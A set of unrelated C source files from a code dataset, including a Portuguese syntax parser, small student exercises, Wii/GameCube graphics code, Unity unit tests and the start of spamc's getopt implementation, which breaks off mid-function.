printf("\n + Empilhou %s\n",Pilha->inicio->palavra);
}
else if(strcmp(T->token,"LEIA") == 0)
{
empilha(Pilha, ")");
printf("\n + Empilhou %s\n",Pilha->inicio->palavra);
empilha(Pilha, "id");
printf("\n + Empilhou %s\n",Pilha->inicio->palavra);
empilha(Pilha, "(");
printf("\n + Empilhou %s\n",Pilha->inicio->palavra);
empilha(Pilha, "leia");
printf("\n + Empilhou %s\n",Pilha->inicio->palavra);
}
else if(strcmp(T->token,"ESCREVA") == 0)
{
empilha(Pilha, ")");
printf("\n + Empilhou %s\n",Pilha->inicio->palavra);
empilha(Pilha, "id");
printf("\n + Empilhou %s\n",Pilha->inicio->palavra);
empilha(Pilha, "(");
printf("\n + Empilhou %s\n",Pilha->inicio->palavra);
empilha(Pilha, "escreva");
printf("\n + Empilhou %s\n",Pilha->inicio->palavra);
}
if(strcmp(Pilha->inicio->palavra, "leia") == 0 && strcmp(T->token,"LEIA") == 0)
{
printf("\n - Desempilhou %s\n",Pilha->inicio->palavra);
desempilha(Pilha);
T = T->prox;
}
if(strcmp(Pilha->inicio->palavra, "escreva") == 0 && strcmp(T->token,"ESCREVA") == 0)
{
printf("\n - Desempilhou %s\n",Pilha->inicio->palavra);
desempilha(Pilha);
T = T->prox;
}
if(strcmp(Pilha->inicio->palavra, "(") == 0 && strcmp(T->token,"ABRE_P") == 0)
{
printf("\n - Desempilhou %s\n",Pilha->inicio->palavra);
desempilha(Pilha);
T = T->prox;
}
if(strcmp(Pilha->inicio->palavra, "id") == 0 && strcmp(T->token,"ID") == 0)
{
printf("\n - Desempilhou %s\n",Pilha->inicio->palavra);
desempilha(Pilha);
T = T->prox;
}
if(strcmp(Pilha->inicio->palavra, ":=") == 0 && strcmp(T->token,"ATRIB") == 0)
{
printf("\n - Desempilhou %s\n",Pilha->inicio->palavra);
desempilha(Pilha);
//T = T->prox;
}
if(strcmp(Pilha->inicio->palavra, ")") == 0 && strcmp(T->token,"FECHA_P") == 0)
{
printf("\n - Desempilhou %s\n",Pilha->inicio->palavra);
desempilha(Pilha);
T = T->prox;
}
if(strcmp(T->prox->token,"FIM") != 0 && strcmp(Pilha->inicio->palavra,"EXP") != 0)
{
/*empilha(Pilha, ";");
printf("\n + Empilhou %s\n",Pilha->inicio->palavra);*/
empilha(Pilha, "COMANDOS");
printf("\n + Empilhou %s\n",Pilha->inicio->palavra);
}
}
//TRATANDO A PRODUÇÃO EXP
if(strcmp(Pilha->inicio->palavra, "EXP") == 0)
{
printf("\n - Desempilhou %s\n",Pilha->inicio->palavra);
desempilha(Pilha);
if(strcmp(T->prox->token,"ABRE_P") == 0 || strcmp(T->token,"ABRE_P") == 0)
{
empilha(Pilha, ")");
printf("\n + Empilhou %s\n",Pilha->inicio->palavra);
empilha(Pilha, "EXP");
printf("\n + Empilhou %s\n",Pilha->inicio->palavra);
empilha(Pilha, "(");
printf("\n + Empilhou %s\n",Pilha->inicio->palavra);
}
else
{
if(strcmp(T->token,"ID") == 0 && (strcmp(T->prox->token,"MULTIPLICACAO") == 0 || strcmp(T->prox->token,"ADICAO") == 0) || strcmp(T->prox->token,"SUBTRACAO") == 0)
{
empilha(Pilha, "EXP");
printf("\n + Empilhou %s\n",Pilha->inicio->palavra);
empilha(Pilha, "OP");
printf("\n + Empilhou %s\n",Pilha->inicio->palavra);
empilha(Pilha, "id");
printf("\n + Empilhou %s\n",Pilha->inicio->palavra);
}
if(strcmp(T->token,"ID") == 0 && strcmp(T->prox->token,"FECHA_P") == 0)
{
empilha(Pilha, "id");
printf("\n + Empilhou %s\n",Pilha->inicio->palavra);
}
if(strcmp(T->token,"NUMERO") == 0 && (strcmp(T->prox->token,"MULTIPLICACAO") == 0 || strcmp(T->prox->token,"ADICAO") == 0) || strcmp(T->prox->token,"SUBTRACAO") == 0)
{
empilha(Pilha, "EXP");
printf("\n + Empilhou %s\n",Pilha->inicio->palavra);
empilha(Pilha, "OP");
printf("\n + Empilhou %s\n",Pilha->inicio->palavra);
empilha(Pilha, "num");
printf("\n + Empilhou %s\n",Pilha->inicio->palavra);
}
if(strcmp(T->token,"NUMERO") == 0 && strcmp(T->prox->token,"FECHA_P") == 0)
{
empilha(Pilha, "num");
printf("\n + Empilhou %s\n",Pilha->inicio->palavra);
}
}
}
//TRATANDO A PRODUÇÃO OP
if(strcmp(Pilha->inicio->palavra, "OP") == 0)
{
if(strcmp(T->prox->token,"ID") == 0 || strcmp(T->prox->token,"NUMERO") == 0 || strcmp(T->prox->token,"ABRE_P") == 0)
{
printf("\n - Desempilhou o %s- %s\n",Pilha->inicio->palavra, T->token);
desempilha(Pilha);
if(strcmp(T->token,"ADICAO") == 0)
{
/*empilha(Pilha, "EXP");
printf("\n + Empilhou %s\n",Pilha->inicio->palavra);*/
empilha(Pilha, "+");
printf("\n + Empilhou %s\n",Pilha->inicio->palavra);
}
else if(strcmp(T->token,"SUBTRACAO") == 0)
{
/*empilha(Pilha, "EXP");
printf("\n + Empilhou %s\n",Pilha->inicio->palavra);*/
empilha(Pilha, "-");
printf("\n + Empilhou %s\n",Pilha->inicio->palavra);
}
else if(strcmp(T->token,"MULTIPLICACAO") == 0)
{
/*empilha(Pilha, "EXP");
printf("\n + Empilhou %s\n",Pilha->inicio->palavra);*/
empilha(Pilha, "*");
printf("\n + Empilhou %s\n",Pilha->inicio->palavra);
}
else if(strcmp(T->token,"PNT_VIRG") == 0)
{
if(strcmp(T->prox->token,"FIM") == 0 || strcmp(T->prox->token,"COMANDOS") == 0)
{
printf("\n - Desempilhou %s\n",Pilha->inicio->palavra);
desempilha(Pilha);
T = T->prox;
}
else
{
empilha(Pilha, "COMANDO");
printf("\n + Empilhou %s\n",Pilha->inicio->palavra);
}
}
}
}
if(strcmp(Pilha->inicio->palavra, "(") == 0 && strcmp(T->token,"ABRE_P") == 0)
{
printf("\n - Desempilhou %s\n",Pilha->inicio->palavra);
desempilha(Pilha);
// T = T->prox;
}
if(strcmp(Pilha->inicio->palavra, "id") == 0 && strcmp(T->token,"ID") == 0)
{
printf("\n - Desempilhou %s\n",Pilha->inicio->palavra);
desempilha(Pilha);
//T = T->prox;
}
if(strcmp(Pilha->inicio->palavra, "num") == 0 && strcmp(T->token,"NUMERO") == 0)
{
printf("\n - Desempilhou %s\n",Pilha->inicio->palavra);
desempilha(Pilha);
//T = T->prox;
}
if(strcmp(Pilha->inicio->palavra, "+") == 0 && strcmp(T->token,"ADICAO") == 0)
{
printf("\n - Desempilhou %s\n",Pilha->inicio->palavra);
desempilha(Pilha);
//T = T->prox;
}
if(strcmp(Pilha->inicio->palavra, "-") == 0 && strcmp(T->token,"SUBTRACAO") == 0)
{
printf("\n - Desempilhou %s\n",Pilha->inicio->palavra);
desempilha(Pilha);
//T = T->prox;
}
if(strcmp(Pilha->inicio->palavra, "*") == 0 && strcmp(T->token,"MULTIPLICACAO") == 0)
{
printf("\n - Desempilhou %s\n",Pilha->inicio->palavra);
desempilha(Pilha);
//T = T->prox;
}
if(strcmp(Pilha->inicio->palavra, ";") == 0 && strcmp(T->token,"PNT_VIRG") == 0)
{
printf("\n - Desempilhou %s\n",Pilha->inicio->palavra);
desempilha(Pilha);
}
if(strcmp(Pilha->inicio->palavra, ";") == 0 && strcmp(T->token,"FIM") == 0)
{
printf("\n - Desempilhou %s\n",Pilha->inicio->palavra);
desempilha(Pilha);
}
if(strcmp(Pilha->inicio->palavra, "fim") == 0 && strcmp(T->token,"FIM") == 0)
{
printf("\n - Desempilhou %s\n",Pilha->inicio->palavra);
desempilha(Pilha);
}
printf("\n XXX PILHA = %s - TOKEN = %s XXX\n",Pilha->inicio->palavra, T->token);
if(strcmp(Pilha->inicio->palavra, "$") == 0 && strcmp(T->token,"CIFRAO") == 0)
{
printf("\n - Desempilhou %s\n\n",Pilha->inicio->palavra);
desempilha(Pilha);
}
}
}
}
int main(void)
{
int TAM = 10;
int Resposta = 0;
//ANÁLISE LÉXICA
listaDENC* Tokens = (listaDENC*)malloc(TAM*sizeof(listaDENC));
Tokens = inicializalista();
analisador_lexico(Tokens);
imprimelista(Tokens);
//ANÁLISE SINTÁTICA
pilha* Pilha = (pilha*)malloc(TAM*sizeof(pilha));
Pilha = inicializapilha();
analisador_sintatico(Tokens, Pilha);
Resposta = pilha_vazia(Pilha);
if(Resposta == 1)
{
printf("\n----------------------[ ACEITA ]-------------------------\n\n");
}
else
{
printf("\n----[ NAO ACEITA: Erro Sintático Em %s ]-----\n",Pilha->inicio->palavra);
imprime_pilha(Pilha);
}
apaga_lista(Tokens);
apaga_pilha(Pilha);
return(0);
}
|
the_stack_data/81212.c
|
#include<stdio.h>
main()
{
int a,b,c;
printf("Enter the three sides of triangle\n");
scanf("%d%d%d",&a,&b,&c);
((a==b)&&(b==c))?printf("equilateral triangle"):(a==b||b==c||a==c)?printf("isosceles triangle"): printf("scalene triangle");
}
|
the_stack_data/400372.c
|
#include <stdio.h>
int main() {
float base;
float height;
float area;
printf("Enter Height \n");
scanf("%f", &height);
printf("Enter Width \n");
scanf("%f", &base);
area = base * height / 2;
printf("The Area of the Circle is %f", area);
}
|
the_stack_data/953682.c
|
#include <stdio.h>
#include <math.h>
#include <stdlib.h>
#include <stdbool.h>
double snippet(int idum){//&idum
int inext = 0,inextp = 0;
int iff=0;
const int MBIG=1000000000,MSEED=161803398,MZ=0;
const double FAC=(1.0/MBIG);
int ma[56];
int i,ii,k,mj,mk;
if (idum < 0 || iff == 0) {
iff=1;
mj=abs(MSEED-abs(idum));
mj %= MBIG;
ma[55]=mj;
mk=1;
for (i=1;i<=54;i++) {
ii=(21*i) % 55;
ma[ii]=mk;
mk=mj-mk;
if (mk < (int)(MZ)) mk += MBIG;
mj=ma[ii];
}
for (k=0;k<4;k++)
for (i=1;i<=55;i++) {
ma[i] -= ma[1+(i+30) % 55];
if (ma[i] < (int)(MZ))
ma[i] += MBIG;
}
inext=0;
inextp=31;
idum=1;
}
if (++inext == 56)
inext=1;
if (++inextp == 56)
inextp=1;
mj=ma[inext]-ma[inextp];
if (mj < (int)(MZ))
mj += MBIG;
ma[inext]=mj;
return mj*FAC;
}
|
the_stack_data/115766632.c
|
#ifdef TEST
#include "unity.h"
#include <stddef.h>
#include <stdint.h>
#include "uz_array.h"
void setUp(void)
{
}
void tearDown(void)
{
}
void test_uz_array_float_initialization(void)
{
// The data itself has to be initialized independed of the array data type.
// Take care regarding the scope of this value, e.g., if it is inside a function the scope is automatic
// automatic = variable is "gone" as soon as the function is finished, thus never return a pointer / the array data type to a automatic storage duration variable
float data[5] = {1.12f, 2.87f, 3.3f, 4.6f, 51.5f};
uz_array_float_t testarray = {
.length = UZ_ARRAY_SIZE(data), // ALWAYS use the UZ_ARRAY_SIZE makro in the initialization of the length of the array
.data = &data[0]}; // Pointer to the first element of the actual data of the array
// This test is using an for-loop to highligth how the .length variable is inteded to be used
for (size_t i = 0; i++; i < testarray.length)
{
TEST_ASSERT_EQUAL_FLOAT(data[i], testarray.data[i]);
}
}
void test_uz_array_uint32_t_initialization(void)
{
uint32_t data[5] = {1, 2, 3, 4, 5};
uz_array_uint32_t testarray = {
.length = UZ_ARRAY_SIZE(data),
.data = &data[0]};
TEST_ASSERT_EQUAL_UINT32_ARRAY(data, testarray.data, testarray.length);
}
void test_uz_array_int32_t_initialization(void)
{
int32_t data[5] = {-1, 2, -3, 4, -5};
uz_array_int32_t testarray = {
.length = UZ_ARRAY_SIZE(data),
.data = &data[0]};
TEST_ASSERT_EQUAL_INT32_ARRAY(data, testarray.data, testarray.length);
}
void test_uz_array_int16_t_initialization(void)
{
int16_t data[5] = {-1, 2, -3, 4, -5};
uz_array_int16_t testarray = {
.length = UZ_ARRAY_SIZE(data),
.data = &data[0]};
TEST_ASSERT_EQUAL_INT16_ARRAY(data, testarray.data, testarray.length);
}
void test_uz_array_uint16_t_initialization(void)
{
uint16_t data[5] = {1, 2, 3, 4, 5};
uz_array_uint16_t testarray = {
.length = UZ_ARRAY_SIZE(data),
.data = &data[0]};
TEST_ASSERT_EQUAL_UINT16_ARRAY(data, testarray.data, testarray.length);
}
#endif // TEST
|
the_stack_data/211080544.c
|
#include <stdio.h>
void side();
__attribute__((weak)) int foo() {
return 42;
}
int main(int argc, char const *argv[]) {
printf("main foo() -> %d\n", foo());
side();
return 0;
}
|
the_stack_data/154830780.c
|
#include<stdio.h>
#include<stdlib.h>
int main(void) {
int t;
scanf("%d\n",&t);
int i,holes;
char c;
for(i = 0;i < t;i++){
holes = 0;
do {
c=getchar();
if (c == 'B'){
holes += 2;
}
else if ( c == 'A'|| c == 'D'||c == 'O'||c == 'P'||c == 'Q'||c == 'R'){
holes +=1;
}
else {
}
} while (c != '\n');
printf("%d\n",holes);
}
return 0;
}
|
the_stack_data/122015210.c
|
#include <assert.h>
#include <setjmp.h>
void __longjmp_chk(jmp_buf env, int val)
{
longjmp(env, val);
}
|
the_stack_data/187643535.c
|
#include <stdio.h>
#ifdef GC
/*
0x00000000 0x017fffff 24MB Physical address of the RAM
0x80000000 0x817fffff 24MB Logical address of the RAM, cached
0xC0000000 0xC17fffff 24MB Logical address of the RAM, not cached
0xc8000000 2MB Embedded Framebuffer (EFB)
0xCC000000 Hardware registers
0xCC000000 CP - Command Processor
0xCC001000 PE - Pixel Engine
0xCC002000 VI - Video Interface
0xCC003000 PI - Processor Interface (Interrupt Interface)
0xCC004000 MI - Memory Interface
0xCC005000 AI - Audio Interface
0xCC006000 DI - DVD Interface
0xCC006400 SI - Serial Interface
0xCC006800 EXI - External Interface
0xCC006C00 Streaming Interface
0xCC008000 GX FIFO (Graphic display lists)
0xe0000000 0xe0003fff 16k L2 Cache
0xfff00000 1MB IPL (mapped here at bootup)
*/
#include "AURAE/AURAE.h"
#define RW_REGISTER_U16(REG) *((volatile u16 *)(REG))
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <malloc.h>
#include <math.h>
#include <gccore.h>
#include <wiiuse/wpad.h>
#define DEFAULT_FIFO_SIZE (256*1024)
static void *frameBuffer[2] = { NULL, NULL};
GXRModeObj *rmode;
static vu16* const viReg = (u16*)0xCC002000;
void printRegs()
{
vu16* const _viReg = viReg;
printf("\n 0/7 : %04x %04x %04x %04x %04x %04x %04x %04x\n",_viReg[0],_viReg[1],_viReg[2],_viReg[3],_viReg[4],_viReg[5],_viReg[6],_viReg[7]);
printf("\n 8/15 : %04x %04x %04x %04x %04x %04x %04x %04x\n",_viReg[8],_viReg[9],_viReg[10],_viReg[11],_viReg[12],_viReg[13],_viReg[14],_viReg[15]);
printf("\n 16/23 : %04x %04x %04x %04x %04x %04x %04x %04x\n",_viReg[16],_viReg[17],_viReg[18],_viReg[19],_viReg[20],_viReg[21],_viReg[22],_viReg[23]);
printf("\n 24/31 : %04x %04x %04x %04x %04x %04x %04x %04x\n",_viReg[24],_viReg[25],_viReg[26],_viReg[27],_viReg[28],_viReg[29],_viReg[30],_viReg[31]);
printf("\n 32/39 : %04x %04x %04x %04x %04x %04x %04x %04x\n",_viReg[32],_viReg[33],_viReg[34],_viReg[35],_viReg[36],_viReg[37],_viReg[38],_viReg[39]);
printf("\n 40/47 : %04x %04x %04x %04x %04x %04x %04x %04x\n",_viReg[40],_viReg[41],_viReg[42],_viReg[43],_viReg[44],_viReg[45],_viReg[46],_viReg[47]);
printf("\n 48/55 : %04x %04x %04x %04x %04x %04x %04x %04x\n",_viReg[48],_viReg[49],_viReg[50],_viReg[51],_viReg[52],_viReg[53],_viReg[54],_viReg[55]);
printf("\n 56/59 : %04x %04x %04x %04x\n--------------------------\n",_viReg[56],_viReg[57],_viReg[58],_viReg[59]);
}
WGPipe* const wgPipe2 = (WGPipe*)0xCC008000;
void GX2_Begin(u8 primitve,u8 vtxfmt,u16 vtxcnt)
{
u8 reg = primitve|(vtxfmt&7);
wgPipe2->U8 = reg;
wgPipe2->U16 = vtxcnt;
}
static inline void GX2_Position3f32(f32 x,f32 y,f32 z)
{
wgPipe2->F32 = x;
wgPipe2->F32 = y;
wgPipe2->F32 = z;
}
static inline void GX2_Color3f32(f32 r, f32 g, f32 b)
{
wgPipe2->U8 = (u8)(r * 255.0);
wgPipe2->U8 = (u8)(g * 255.0);
wgPipe2->U8 = (u8)(b * 255.0);
}
#define _SHIFTL(v, s, w) \
((u32) (((u32)(v) & ((0x01 << (w)) - 1)) << (s)))
#define _SHIFTR(v, s, w) \
((u32)(((u32)(v) >> (s)) & ((0x01 << (w)) - 1)))
#define GX_LOAD_XF_REGS(x, n) \
do { \
wgPipe2->U8 = 0x10; \
asm volatile ("" ::: "memory" ); \
wgPipe2->U32 = (u32)(((((n)&0xffff)-1)<<16)|((x)&0xffff)); \
asm volatile ("" ::: "memory" ); \
} while(0)
static inline void WriteMtxPS4x3(register Mtx mt,register void *wgpipe)
{
register f32 tmp0,tmp1,tmp2,tmp3,tmp4,tmp5;
__asm__ __volatile__ (
"psq_l %0,0(%6),0,0\n\
psq_l %1,8(%6),0,0\n\
psq_l %2,16(%6),0,0\n\
psq_l %3,24(%6),0,0\n\
psq_l %4,32(%6),0,0\n\
psq_l %5,40(%6),0,0\n\
psq_st %0,0(%7),0,0\n\
psq_st %1,0(%7),0,0\n\
psq_st %2,0(%7),0,0\n\
psq_st %3,0(%7),0,0\n\
psq_st %4,0(%7),0,0\n\
psq_st %5,0(%7),0,0"
: "=&f"(tmp0),"=&f"(tmp1),"=&f"(tmp2),"=&f"(tmp3),"=&f"(tmp4),"=&f"(tmp5)
: "b"(mt), "b"(wgpipe)
: "memory"
);
}
void GX2_SetViewportJitter(f32 xOrig,f32 yOrig,f32 wd,f32 ht,f32 nearZ,f32 farZ,u32 field)
{
f32 x0,y0,x1,y1,n,f,z;
static f32 Xfactor = 0.5;
static f32 Yfactor = 342.0;
static f32 Zfactor = 16777215.0;
if(!field) yOrig -= Xfactor;
x0 = wd*Xfactor;
y0 = (-ht)*Xfactor;
x1 = (xOrig+(wd*Xfactor))+Yfactor;
y1 = (yOrig+(ht*Xfactor))+Yfactor;
n = Zfactor*nearZ;
f = Zfactor*farZ;
z = f-n;
GX_LOAD_XF_REGS(0x101a,6);
wgPipe->F32 = x0;
wgPipe->F32 = y0;
wgPipe->F32 = z;
wgPipe->F32 = x1;
wgPipe->F32 = y1;
wgPipe->F32 = f;
}
void GX2_SetViewport(f32 xOrig,f32 yOrig,f32 wd,f32 ht,f32 nearZ,f32 farZ)
{
GX2_SetViewportJitter(xOrig,yOrig,wd,ht,nearZ,farZ,1);
}
void GX2_LoadPosMtxImm(Mtx mt,u32 pnidx)
{
GX_LOAD_XF_REGS((0x0000|(_SHIFTL(pnidx,2,8))),12);
WriteMtxPS4x3(mt,(void*)wgPipe2);
}
void GX2_LoadProjectionMtx(Mtx44 mt,u8 type)
{
f32 tmp[7];
((u32*)((void*)tmp))[6] = (u32)type;
tmp[0] = mt[0][0];
tmp[2] = mt[1][1];
tmp[4] = mt[2][2];
tmp[5] = mt[2][3];
switch(type) {
case GX_PERSPECTIVE:
tmp[1] = mt[0][2];
tmp[3] = mt[1][2];
break;
case GX_ORTHOGRAPHIC:
tmp[1] = mt[0][3];
tmp[3] = mt[1][3];
break;
default:
tmp[1] = 0.0;
tmp[3] = 0.0;
break;
}
GX_LOAD_XF_REGS(0x1020,7);
wgPipe->F32 = tmp[0];
wgPipe->F32 = tmp[1];
wgPipe->F32 = tmp[2];
wgPipe->F32 = tmp[3];
wgPipe->F32 = tmp[4];
wgPipe->F32 = tmp[5];
wgPipe->F32 = tmp[6];
}
//---------------------------------------------------------------------------------
int game4(void)
{
//---------------------------------------------------------------------------------
f32 yscale;
u32 xfbHeight;
Mtx view;
Mtx44 perspective;
Mtx model, modelview;
u32 fb = 0; // initial framebuffer index
GXColor background = {0, 0, 0, 0xff};
unsigned int reg = 0;
printRegs();
// init the vi.
VIDEO_Init();
//WPAD_Init();
printRegs();
rmode = VIDEO_GetPreferredMode(NULL);
// allocate 2 framebuffers for double buffering
frameBuffer[0] = malloc(800*800*4);
VIDEO_Configure(rmode);
VIDEO_SetBlack(FALSE);
VIDEO_Flush();
VIDEO_WaitVSync();
if(rmode->viTVMode&VI_NON_INTERLACE) VIDEO_WaitVSync();
// setup the fifo and then init the flipper
void *gp_fifo = NULL;
gp_fifo = memalign(32,DEFAULT_FIFO_SIZE);
memset(gp_fifo,0,DEFAULT_FIFO_SIZE);
GX_Init(gp_fifo,DEFAULT_FIFO_SIZE);
// clears the bg to color and clears the z buffer
GX_SetCopyClear(background, 0x00ffffff);
// other gx setup
GX_SetViewport(0,0,rmode->fbWidth,rmode->efbHeight,0,1);
yscale = GX_GetYScaleFactor(rmode->efbHeight,rmode->xfbHeight);
xfbHeight = GX_SetDispCopyYScale(yscale);
GX_SetScissor(0,0,rmode->fbWidth,rmode->efbHeight);
GX_SetDispCopySrc(0,0,rmode->fbWidth,rmode->efbHeight);
GX_SetDispCopyDst(rmode->fbWidth,xfbHeight);
GX_SetCopyFilter(rmode->aa,rmode->sample_pattern,GX_TRUE,rmode->vfilter);
GX_SetFieldMode(rmode->field_rendering,((rmode->viHeight==2*rmode->xfbHeight)?GX_ENABLE:GX_DISABLE));
GX_SetCullMode(GX_CULL_NONE);
GX_SetDispCopyGamma(GX_GM_1_0);
// setup the vertex descriptor
// tells the flipper to expect direct data
GX_ClearVtxDesc();
GX_SetVtxDesc(GX_VA_POS, GX_DIRECT);
GX_SetVtxDesc(GX_VA_CLR0, GX_DIRECT);
// setup the vertex attribute table
// describes the data
// args: vat location 0-7, type of data, data format, size, scale
// so for ex. in the first call we are sending position data with
// 3 values X,Y,Z of size F32. scale sets the number of fractional
// bits for non float data.
GX_SetVtxAttrFmt(GX_VTXFMT0, GX_VA_POS, GX_POS_XYZ, GX_F32, 0);
GX_SetVtxAttrFmt(GX_VTXFMT0, GX_VA_CLR0, GX_CLR_RGBA, GX_RGB8, 0);
GX_SetNumChans(1);
GX_SetNumTexGens(0);
GX_SetTevOrder(GX_TEVSTAGE0, GX_TEXCOORDNULL, GX_TEXMAP_NULL, GX_COLOR0A0);
GX_SetTevOp(GX_TEVSTAGE0, GX_PASSCLR);
// setup our projection matrix
// this creates a perspective matrix with a view angle of 90,
// and aspect ratio based on the display resolution
f32 w = rmode->viWidth;
f32 h = rmode->viHeight;
guPerspective(perspective, 45, (f32)w/h, 0.1F, 300.0F);
GX2_LoadProjectionMtx(perspective, GX_PERSPECTIVE);
while(1)
{
//WPAD_ScanPads();
//if (WPAD_ButtonsDown(0) & WPAD_BUTTON_HOME) exit(0);
// do this before drawing
GX2_SetViewport(0,0,rmode->fbWidth,rmode->efbHeight,0,1);
guMtxIdentity(model);
guMtxTransApply(model, model, -1.5f,0.0f,-6.0f);
GX2_LoadPosMtxImm(model, GX_PNMTX0);
GX_Begin(GX_TRIANGLES, GX_VTXFMT0, 3);
GX2_Position3f32( 0.0f, 1.0f, 0.0f); // Top
GX2_Color3f32(1.0f,0.0f,0.0f); // Set The Color To Red
GX2_Position3f32(-1.0f,-1.0f, 0.0f); // Bottom Left
GX2_Color3f32(0.0f,1.0f,0.0f); // Set The Color To Green
GX2_Position3f32( 1.0f,-1.0f, 0.0f); // Bottom Right
GX2_Color3f32(0.0f,0.0f,1.0f); // Set The Color To Blue
//GX_End();
// do this stuff after drawing
GX_DrawDone();
fb ^= 1; // flip framebuffer
GX_SetZMode(GX_TRUE, GX_LEQUAL, GX_TRUE);
GX_SetColorUpdate(GX_TRUE);
GX_CopyDisp(frameBuffer[fb],GX_TRUE);
VIDEO_SetNextFramebuffer(frameBuffer[fb]);
VIDEO_Flush();
VIDEO_WaitVSync();
}
return 0;
}
#endif
|
the_stack_data/46012.c
|
#import <stdio.h>
#import <locale.h>
#define TOTAL 22 // Esta é uma forma de declarar uma constante
void main() {
setlocale(LC_ALL, "Portuguese");
// const int TOTAL = 8; - Esta é outra forma de declarar uma constante
printf("%d", TOTAL);
}
|
the_stack_data/61754.c
|
/* <@LICENSE>
* Licensed to the Apache Software Foundation (ASF) under one or more
* contributor license agreements. See the NOTICE file distributed with
* this work for additional information regarding copyright ownership.
* The ASF licenses this file to you under the Apache License, Version 2.0
* (the "License"); you may not use this file except in compliance with
* the License. You may obtain a copy of the License at:
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
* </@LICENSE>
*/
#include <stdio.h>
#include <string.h>
#include <assert.h>
#include <stdlib.h>
#include "getopt.h"
#ifdef WIN32
#ifdef _MSC_VER
/* ignore MSVC++ warnings that are annoying and hard to remove:
4702 unreachable code
(there is an unreachable assert(0) in case somehow it is reached)
*/
#pragma warning( disable : 4702 )
#endif
#endif /* WIN32 */
#define OPTERRCOLON (1)
#define OPTERRNF (2)
#define OPTERRARG (3)
char *spamc_optarg;
int spamc_optreset = 0;
int spamc_optind = 1;
int spamc_opterr = 1;
int spamc_optopt;
static int
optiserr(int argc, char * const *argv, int oint, const char *optstr,
int optchr, int err)
{
(void) argc; /* not used */
(void) optstr; /* not used */
if(spamc_opterr)
{
fprintf(stderr, "Error in argument %d, char %d: ", oint, optchr+1);
switch(err)
{
case OPTERRCOLON:
fprintf(stderr, ": in flags\n");
break;
case OPTERRNF:
fprintf(stderr, "option not found %c\n", argv[oint][optchr]);
break;
case OPTERRARG:
fprintf(stderr, "argument required for option %c\n", argv[oint][optchr]);
break;
default:
fprintf(stderr, "unknown\n");
break;
}
}
spamc_optopt = argv[oint][optchr];
return('?');
}
static int
longoptiserr(int argc, char * const *argv, int oint, int err)
{
(void) argc; /* not used */
if(spamc_opterr)
{
fprintf(stderr, "Error in argument %d : ", oint);
switch(err)
{
case OPTERRCOLON:
fprintf(stderr, ": in flags\n");
break;
case OPTERRNF:
fprintf(stderr, "option not found %s\n", argv[oint]);
break;
case OPTERRARG:
fprintf(stderr, "argument required for option %s\n", argv[oint]);
break;
default:
fprintf(stderr, "unknown\n");
break;
}
}
return('?');
}
int
spamc_getopt(int argc, char* const *argv, const char *optstr)
{
static int optchr = 0;
static int dash = 0; /* have already seen the - */
char *cp;
if (spamc_optreset)
spamc_optreset = optchr = dash = 0;
if(spamc_optind >= argc)
return(EOF);
if(!dash && (argv[spamc_optind][0] != '-'))
return(EOF);
if(!dash && (argv[spamc_optind][0] == '-') && !argv[spamc_optind][1])
{
/*
* use to specify stdin. Need to let pgm process this and
* the following args
*/
return(EOF);
}
if((argv[spamc_optind][0] == '-') && (argv[spamc_optind][1] == '-'))
{
/* -- indicates end of args */
spamc_optind++;
return(EOF);
}
if(!dash)
{
assert((argv[spamc_optind][0] == '-') && argv[spamc_optind][1]);
dash = 1;
optchr = 1;
}
/* Check if the guy tries to do a -: kind of flag */
assert(dash);
if(argv[spamc_optind][optchr] == ':')
{
dash = 0;
spamc_optind++;
return(optiserr(argc, argv, spamc_optind-1, optstr, optchr, OPTERRCOLON));
}
cp = strchr(optstr, argv[spamc_optind][optchr]);
if(!cp)
{
int errind = spamc_optind;
int errchr = optchr;
if(!argv[spamc_optind][optchr+1])
{
dash = 0;
spamc_optind++;
}
else
optchr++;
return(optiserr(argc, argv, errind, optstr, errchr, OPTERRNF));
}
if(cp[1] == ':')
{
dash = 0;
spamc_optind++;
if(spamc_optind == argc)
return(optiserr(argc, argv, spamc_optind-1, optstr, optchr, OPTERRARG));
spamc_optarg = argv[spamc_optind++];
return(*cp);
}
else
{
if(!argv[spamc_optind][optchr+1])
{
dash = 0;
spamc_optind++;
}
else
optchr++;
return(*cp);
}
assert(0);
return(0);
}
int
spamc_getopt_long(int argc, char * const argv[],
const char *optstring, struct option *longopts,
int *longindex)
{
static int optchr = 0;
static int dash = 0;
char *cp, *longopt;
char *bp, *opt = NULL;
int i, longoptlen;;
spamc_optarg = NULL; /* clear any left over state from previous option */
if(spamc_optreset)
spamc_optreset = optchr = dash = 0;
if(spamc_optind >= argc) {
return(EOF);
}
if(!dash && (argv[spamc_optind][0] != '-')) {
return(EOF);
}
if(!dash && (argv[spamc_optind][0] == '-') && !argv[spamc_optind][1]) {
/* used to specify stdin */
return(EOF);
}
if((argv[spamc_optind][0] == '-') && (argv[spamc_optind][1] == '-')
&& !argv[spamc_optind][2]) {
/* used to specify end of args */
return(EOF);
}
if((argv[spamc_optind][0] == '-') && argv[spamc_optind][1] &&
(argv[spamc_optind][1] != '-')) {
/* short option */
optchr = 1;
if(argv[spamc_optind][optchr] == ':')
return(optiserr(argc, argv, spamc_optind++, optstring, optchr, OPTERRCOLON));
cp = strchr(optstring, argv[spamc_optind++][optchr]);
if(cp == NULL)
return(optiserr(argc, argv, spamc_optind-1, optstring, optchr, OPTERRNF));
if(cp[1] == ':') {
/* requires an argument */
if(!argv[spamc_optind] || (argv[spamc_optind][0] == '-') ||
(spamc_optind >= argc)) {
return(optiserr(argc, argv, spamc_optind-1, optstring, optchr, OPTERRARG));
}
spamc_optarg = argv[spamc_optind++];
return(*cp);
} else {
dash = 0;
return(*cp);
}
}
if((argv[spamc_optind][0] == '-') && (argv[spamc_optind][1] == '-') &&
argv[spamc_optind][2]) {
/* long option */
optchr = 2;
longopt = argv[spamc_optind++];
if(longopt[2] == ':')
return(longoptiserr(argc, argv, spamc_optind, OPTERRCOLON));
longoptlen = strlen(longopt) - 2;
if((bp = strchr(longopt, '='))) {
opt = strdup(bp+1);
longoptlen -= strlen(bp);
}
for(i=0; ; i++) {
/* changed to longopts[i].name[0] == 0 - bug 7148 */
if((longopts[i].name == NULL) || (longopts[i].name[0] == 0))
return(longoptiserr(argc, argv, spamc_optind-1, OPTERRNF));
